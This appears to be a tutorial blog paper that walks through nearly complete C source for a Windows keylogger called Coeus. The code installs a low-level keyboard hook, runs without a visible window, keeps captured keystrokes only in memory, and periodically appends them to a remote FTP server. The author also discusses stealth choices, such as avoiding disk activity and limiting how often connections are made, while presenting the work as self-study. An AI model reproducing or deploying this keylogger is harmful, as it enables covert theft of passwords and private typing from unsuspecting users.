Disclaimer: The synchronisation code is broken since it was written when I had very little knowledge of how it worked.
Following from my previous paper, Windows Keylogging - Part I, I will be showcasing and explaining an example implementation of a Windows keylogger named Coeus
, after the titan Coeus of Greek mythology, who represents intelligence. Note that this is one possible implementation and is not necessarily the best. To properly understand the paper, it is highly recommended that the reader look over the implementation of a basic keylogger using a keyboard hook (which I have detailed in the previous part) and also its prerequisites which include:
Proficiency in C/C++
Knowledge of the WinAPI and its documentation
Knowledge of Windows messages and message queues
Knowledge of Windows hooks
Recommended knowledge of multi-threading
Recommended knowledge of Mutual Exclusions
Recommended knowledge of FTP
Disclaimer: This paper is not a how-to on making malware, rather it is a report on my research from self-study and experimentation on malware and Windows internals. As a consequence, I apologize in advance for any incorrect information which may be provided. If there is any feedback on this, please leave a reply or private message me and I will address it as soon as possible.
Also any apologies if my code (especially the multithreading) is terrible. Not all hackers are the best programmers.
Keylogging Functionality
Recall that the most basic of keyloggers should record the keystrokes as analyzed in the previous paper. For my implementation, some extra functionality will be included to make it more plausible and effective in doing its job in the outside world. As a natural result, the code will be slightly more advanced than what was already covered. The features of the keylogger are as follows:
Threaded keystroke logging using Windows hooks
Threaded keystroke uploads using FTP
Zero disk activity
Using Windows hooks to capture keystrokes is a common method utilized by many existing keyloggers. A reason why it may be is because it takes advantage of threading and events which makes it efficient in the aspect of CPU consumption. Another, with regards to malware, many legitimate programs could also implement this function to achieve their own goals.
A vital problem with older generations of malware is that they write the keystrokes to disk and because of this, it generates some noise when doing so which could lead to its undoing. One way to combat this weakness is to directly process all keystrokes within memory and push them out through the network. Of course, this does have its downsides. If the program is always constantly sending the keystrokes out, it will become suspicious however, the rate at which this happens can be controlled to some extent.
Coding the Keylogger
Before we see any of the code in the functions, let me introduce the headers, macros and global variable declarations.
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <WinInet.h>
#include <ShlObj.h>
#pragma comment(lib, "WININET")
#define DEBUG
#define NAME "Coeus"
// FTP settings
#define FTP_SERVER "127.0.0.1"
#define FTP_USERNAME "dtm"
#define FTP_PASSWORD "mySup3rSecr3tPassw0rd"
#define FTP_LOG_PATH "Coeus_Log.txt"
#define MAX_LOG_SIZE 4096
#define BUF_SIZ 1024
#define BUF_LEN 1
#define MAX_VALUE_NAME 16383
#define ONE_SECOND 1000
#define ONE_MINUTE ONE_SECOND * 60
#define TIMEOUT ONE_MINUTE * 1 // minutes
// global handle to hook
HHOOK ghHook = NULL;
// global handle to mutex
HANDLE ghMutex = NULL;
// global handle to log heap
HANDLE ghLogHeap = NULL;
// global string pointer to log buffer
LPSTR lpLogBuf = NULL;
// current max size of log buffer
DWORD dwLogBufSize = 0;
// global handle to temporary buffer heap
HANDLE ghTempHeap = NULL;
// global handle to temporary buffer
LPSTR lpTempBuf = NULL;
// multithreading objects
HANDLE hTempBufHasData = NULL;
HANDLE hTempBufNoData = NULL;
Global variables aren’t really a nice method of doing things however, for the sake of simplicity of using variables across multiple threads, this was one of the options I chose. Most of these variables are just handles to the two buffers which are used with the multithreading, for example, lpLogBuf
is the pointer to the buffer which contains the keystrokes and lpTempBuf
is the pointer to the buffer which contains the data to be uploaded to the FTP server. The two multithreading objects hTempBufHasData
and hTempBufNoData
are used to signal whether the temporary buffer (upload buffer) has or has no data to upload, respectively.
So now let’s take a look at the main function.
main
The following is the pseudocode of the WinMain
function.
Main
1. Create mutex to prevent more than one instance
2. Create two buffers, one to hold the keystrokes, one to upload the keystrokes
3. Initialize two events for the two buffers with multithreading
4. Start a thread to upload the keystrokes
5. Create the keyboard hook
6. Enter message loop to process keystrokes
Here is the code for the main function. We declare it with WinMain
for a Windows GUI application which shows no window since there is no actual GUI code nor does it show a console since it is not a console application. In this function, we are needed to set up all the variables and other objects for the program to work, then simply enter an infinite loop to capture keystrokes.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPCSTR lpCmdLine, int nCmdShow) {
// mutex to prevent other keylog instances
ghMutex = CreateMutex(NULL, TRUE, NAME);
if (ghMutex == NULL) {
Fatal("Create mutex");
}
if (GetLastError() == ERROR_ALREADY_EXISTS) {
Fatal("Mutex already exists");
ExitProcess(1);
}
// declare handle cleaner on exit
atexit(CleanUp);
// allocate heap buffer
ghLogHeap = HeapCreate(0, BUF_SIZ + 1, 0);
if (ghLogHeap == NULL) {
Fatal("Heap create");
}
lpLogBuf = (LPSTR)HeapAlloc(ghLogHeap, HEAP_ZERO_MEMORY, BUF_SIZ + 1);
if (lpLogBuf == NULL) {
Fatal("Heap alloc");
}
dwLogBufSize = BUF_SIZ + 1;
ghTempHeap = HeapCreate(0, dwLogBufSize, 0);
if (ghTempHeap == NULL) {
Fatal("Temp heap create");
}
lpTempBuf = (LPSTR)HeapAlloc(ghTempHeap, HEAP_ZERO_MEMORY, dwLogBufSize);
if (lpTempBuf == NULL) {
Fatal("Temp heap alloc");
}
// multithreading set up
hTempBufHasData = CreateEvent(NULL, TRUE, FALSE, NULL);
hTempBufNoData = CreateEvent(NULL, TRUE, TRUE, NULL);
// create thread to send log file to ftp server
if (CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FTPSend, NULL, 0, NULL) == NULL) {
Fatal("Create thread");
}
// set keyboard hooking subroutine
ghHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
if (ghHook == NULL) {
Fatal("Failed to set keyboard hook");
}
MSG msg;
while (GetMessage(&msg, 0, 0, 0) != 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(ghHook);
return 0;
}
We require a mutex to prevent duplicate instances being run at the same time. Once we’ve done that, we can initialize the two heaps for our two buffers and the multithreading objects. The lpTempBuf
buffer obviously starts with no data so we create the hTempBufNoData
initial state as TRUE
and the hTempBufHasData
with FALSE
. We’ll then create the thread for the FTP uploading routine and then set a hook on keyboard messages. Once we’ve set up everything we require, we place the main function in a message loop to retrieve keystrokes. To capture the keystrokes, we need to set up our LowLevelKeyboardProc
function accordingly.
LowLevelKeyboardProc
The following is the pseudocode of the LowLevelKeyboardProc
function.
LowLevelKeyboardProc
1. Check if message is a keyboard message
2. Check if key is either pressed or held
3. Parse virtual key code
4. Append the keystroke to the buffer
5. Wait until the upload buffer is empty (already uploaded) if the keystroke buffer is full
6. Else if upload buffer is not ready, skip and end the function
7. If upload buffer is ready, copy keystroke buffer to the upload buffer
8. Signal FTP routine that there is data to upload
9. Zero the keystroke buffer
10. End the function
This function is declared as the CALLBACK
function to process the keystrokes provided by the hook. To record the keystrokes, we need to do some parsing of virtual key codes and some formatting of special keys.
// callback function when key is pressed
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
// wParam and lParam have info about keyboard message
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT *kbd = (KBDLLHOOKSTRUCT *)lParam;
// if key is pressed or held
if (wParam == WM_KEYDOWN) {
// get string length of log buffer
DWORD dwLogBufLen = strlen(lpLogBuf);
// copy vkCode into log buffer
CHAR key[2];
DWORD vkCode = kbd->vkCode;
// key is 0 - 9
if (vkCode >= 0x30 && vkCode <= 0x39) {
// shift key
if (GetAsyncKeyState(VK_SHIFT)) {
switch (vkCode) {
case 0x30:
Log(")");
break;
case 0x31:
Log("!");
break;
case 0x32:
Log("@");
break;
case 0x33:
Log("#");
break;
case 0x34:
Log("$");
break;
case 0x35:
Log("%");
break;
case 0x36:
Log("^");
break;
case 0x37:
Log("&");
break;
case 0x38:
Log("*");
break;
case 0x39:
Log("(");
break;
}
// no shift key
} else {
sprintf(key, "%c", vkCode);
Log(key);
}
// key is a - z
} else if (vkCode >= 0x41 && vkCode <= 0x5A) {
// if lowercase
if (GetAsyncKeyState(VK_SHIFT) ^ ((GetKeyState(VK_CAPITAL) & 0x0001)) == FALSE)
vkCode += 32;
sprintf(key, "%c", vkCode);
Log(key);
// all other keys
} else {
switch (vkCode) {
case VK_CANCEL:
Log("[CANCEL]");
break;
case VK_BACK:
Log("[BACKSPACE]");
break;
case VK_TAB:
Log("[TAB]");
break;
case VK_CLEAR:
Log("[CLEAR]");
break;
case VK_RETURN:
Log("[ENTER]");
break;
case VK_CONTROL:
Log("[CTRL]");
break;
case VK_MENU:
Log("[ALT]");
break;
case VK_PAUSE:
Log("[PAUSE]");
break;
case VK_CAPITAL:
Log("[CAPS LOCK]");
break;
case VK_ESCAPE:
Log("[ESC]");
break;
case VK_SPACE:
Log("[SPACE]");
break;
case VK_PRIOR:
Log("[PAGE UP]");
break;
case VK_NEXT:
Log("[PAGE DOWN]");
break;
case VK_END:
Log("[END]");
break;
case VK_HOME:
Log("[HOME]");
break;
case VK_LEFT:
Log("[LEFT ARROW]");
break;
case VK_UP:
Log("[UP ARROW]");
break;
case VK_RIGHT:
Log("[RIGHT ARROW]");
break;
case VK_DOWN:
Log("[DOWN ARROW]");
break;
case VK_INSERT:
Log("[INS]");
break;
case VK_DELETE:
Log("[DEL]");
break;
case VK_NUMPAD0:
Log("[NUMPAD 0]");
break;
case VK_NUMPAD1:
Log("[NUMPAD 1]");
break;
case VK_NUMPAD2:
Log("[NUMPAD 2]");
break;
case VK_NUMPAD3:
Log("[NUMPAD 3");
break;
case VK_NUMPAD4:
Log("[NUMPAD 4]");
break;
case VK_NUMPAD5:
Log("[NUMPAD 5]");
break;
case VK_NUMPAD6:
Log("[NUMPAD 6]");
break;
case VK_NUMPAD7:
Log("[NUMPAD 7]");
break;
case VK_NUMPAD8:
Log("[NUMPAD 8]");
break;
case VK_NUMPAD9:
Log("[NUMPAD 9]");
break;
case VK_MULTIPLY:
Log("[*]");
break;
case VK_ADD:
Log("[+]");
break;
case VK_SUBTRACT:
Log("[-]");
break;
case VK_DECIMAL:
Log("[.]");
break;
case VK_DIVIDE:
Log("[/]");
break;
case VK_F1:
Log("[F1]");
break;
case VK_F2:
Log("[F2]");
break;
case VK_F3:
Log("[F3]");
break;
case VK_F4:
Log("[F4]");
break;
case VK_F5:
Log("[F5]");
break;
case VK_F6:
Log("[F6]");
break;
case VK_F7:
Log("[F7]");
break;
case VK_F8:
Log("[F8]");
break;
case VK_F9:
Log("[F9]");
break;
case VK_F10:
Log("[F10]");
break;
case VK_F11:
Log("[F11]");
break;
case VK_F12:
Log("[F12]");
break;
case VK_NUMLOCK:
Log("[NUM LOCK]");
break;
case VK_SCROLL:
Log("[SCROLL LOCK]");
break;
case VK_OEM_PLUS:
GetAsyncKeyState(VK_SHIFT) ? Log("+") : Log("=");
break;
case VK_OEM_COMMA:
GetAsyncKeyState(VK_SHIFT) ? Log("<") : Log(",");
break;
case VK_OEM_MINUS:
GetAsyncKeyState(VK_SHIFT) ? Log("_") : Log("-");
break;
case VK_OEM_PERIOD:
GetAsyncKeyState(VK_SHIFT) ? Log(">") : Log(".");
break;
case VK_OEM_1:
GetAsyncKeyState(VK_SHIFT) ? Log(":") : Log(";");
break;
case VK_OEM_2:
GetAsyncKeyState(VK_SHIFT) ? Log("?") : Log("/");
break;
case VK_OEM_3:
GetAsyncKeyState(VK_SHIFT) ? Log("~") : Log("`");
break;
case VK_OEM_4:
GetAsyncKeyState(VK_SHIFT) ? Log("{") : Log("[");
break;
case VK_OEM_5:
GetAsyncKeyState(VK_SHIFT) ? Log("|") : Log("\\");
break;
case VK_OEM_6:
GetAsyncKeyState(VK_SHIFT) ? Log("}") : Log("]");
break;
case VK_OEM_7:
GetAsyncKeyState(VK_SHIFT) ? Log("\"") : Log("'");
break;
}
}
// wait until upload buffer is ready
// if log buffer is at max size, wait until upload is ready
if (dwLogBufLen == MAX_LOG_SIZE - 1)
WaitForSingleObject(hTempBufNoData, INFINITE);
else
// otherwise, wait for 500 ms
if (WaitForSingleObject(hTempBufNoData, 0) == WAIT_TIMEOUT)
// ignore if timed out
return CallNextHookEx(0, nCode, wParam, lParam);
// write out to separate buffer
strcpy(lpTempBuf, lpLogBuf);
// reset event
ResetEvent(hTempBufNoData);
// signal ftp upload
SetEvent(hTempBufHasData);
// reset log buffer size
ZeroMemory(lpLogBuf, dwLogBufSize);
}
}
return CallNextHookEx(0, nCode, wParam, lParam);
}
This function is quite lengthy, purely because of the need to properly parse and format the recorded keystroke. There is a lot of hard coding involved to check the given virtual key code provided by the lParam
parameter. In summary, switch cases are used to provide the corresponding character with a virtual key code which must be checked against the SHIFT
key to see if any alternate keystrokes were used. For special keys such as Enter
and Caps Lock
, formatting is needed so that a label is recorded in place of the actual character. Of course, this is just my implementation of the formatting and by all means, it is entirely possible to have the raw character instead of a representative label.
After all of that has been processed, the keystrokes in the keystroke buffer must be moved into the temporary buffer for uploading. The keystroke buffer needs to be checked first before it can move on to new keystroke input. To make sure that it is always available, an infinite wait state is entered until the temporary buffer is available. When the wait state is unlocked, it will move the data in the keystroke buffer to the temporary buffer and signal for uploading, then zero out the memory for space for new keystrokes. Otherwise, it will enter a wait state which will immediately time out if the temporary buffer is not yet available and continue on.
FTPSend
The following is the pseudocode for the FTPSend
function.
FTPSend
1. Sleep for a specified timeout period
2. Signal that the upload buffer has no data to upload
3. Wait until data has been placed into the upload buffer and is signaled
4. Initialize an FTP internet connection
5. Send an FTP append command to append the data in the upload buffer
6. Write the data to the remote file
7. Close connection and repeat indefinitely
A method to prevent disk activity on the target machine is to directly transfer the data over the web. The following code snippet shows how this can be done.
VOID FTPSend(VOID) {
while (TRUE) {
// wait until upload buffer has new data
Sleep(TIMEOUT);
SetEvent(hTempBufNoData);
WaitForSingleObject(hTempBufHasData, INFINITE);
HINTERNET hINet = InternetOpen(NAME, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_PASSIVE);
if (hINet == NULL)
continue;
HINTERNET hFTP = InternetConnect(hINet, FTP_SERVER, INTERNET_DEFAULT_FTP_PORT, FTP_USERNAME, FTP_PASSWORD, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, NULL);
if (hFTP == NULL) {
InternetCloseHandle(hINet);
continue;
}
HINTERNET hFTPFile;
CHAR szTemp[256];
// FTP append command
sprintf(szTemp, "APPE %s", FTP_LOG_PATH);
BOOL bSuccess = FtpCommand(hFTP, TRUE, FTP_TRANSFER_TYPE_ASCII, szTemp, 0, &hFTPFile);
if (bSuccess == FALSE) {
InternetCloseHandle(hFTP);
InternetCloseHandle(hINet);
continue;
}
DWORD dwWritten = 0;
bSuccess = InternetWriteFile(hFTPFile, lpTempBuf, strlen(lpTempBuf), &dwWritten);
if (bSuccess == FALSE) {
InternetCloseHandle(hFTP);
InternetCloseHandle(hINet);
continue;
}
InternetCloseHandle(hFTPFile);
InternetCloseHandle(hFTP);
InternetCloseHandle(hINet);
ResetEvent(hTempBufHasData);
//SetEvent(hTempBufNoData);
}
ExitThread(0);
}
There’s probably a more efficient way to do this but this is how I did it. I didn’t want to keep the handle to the FTP server because that would probably mean that the process would maintain an connection with the remote server which is not as stealthy. Inside this infinite loop, it Sleep
s a specified timeout value TIMEOUT
before doing anything else to try to limit the rate of connections. It will then signal that its temporary buffer has no data to upload and then enter an infinite wait state until the data in the keystroke buffer has transferred its content over. After this has been achieved, it will open an FTP internet connection and then authenticate with the server using the defined credentials. To write the keystrokes to the server, it will issue an APPE
(append) command to the specified file location and begin writing. Once this is done, it will proceed to close the connection and repeat.
While writing this, I’ve realized that I should probably signal the no data object first before Sleep
ing. I’ll keep it like so for now since I don’t want to accidentally break the code.
Conclusion
That’s pretty much it for the showcasing of my code. If there are any errors or concerns, please don’t hesitate to contact me and I will try to handle it ASAP. Thanks for reading and hope you’ve learned something from this.
Appendix
Other functions not mentioned:
// error message handler function
VOID Fatal(LPCSTR s) {
#ifdef DEBUG
CHAR err_buf[BUF_SIZ];
sprintf(err_buf, "%s failed: %lu", s, GetLastError());
MessageBox(NULL, err_buf, NAME, MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
#endif
ExitProcess(1);
}
// clean up function on exit
VOID CleanUp(VOID) {
if (lpLogBuf && ghLogHeap) {
HeapFree(ghLogHeap, 0, lpLogBuf);
HeapDestroy(ghLogHeap);
}
if (ghHook) UnhookWindowsHookEx(ghHook);
if (ghMutex) CloseHandle(ghMutex);
if (lpTempBuf && ghTempHeap) {
HeapFree(ghTempHeap, 0, lpTempBuf);
HeapDestroy(ghTempHeap);
}
}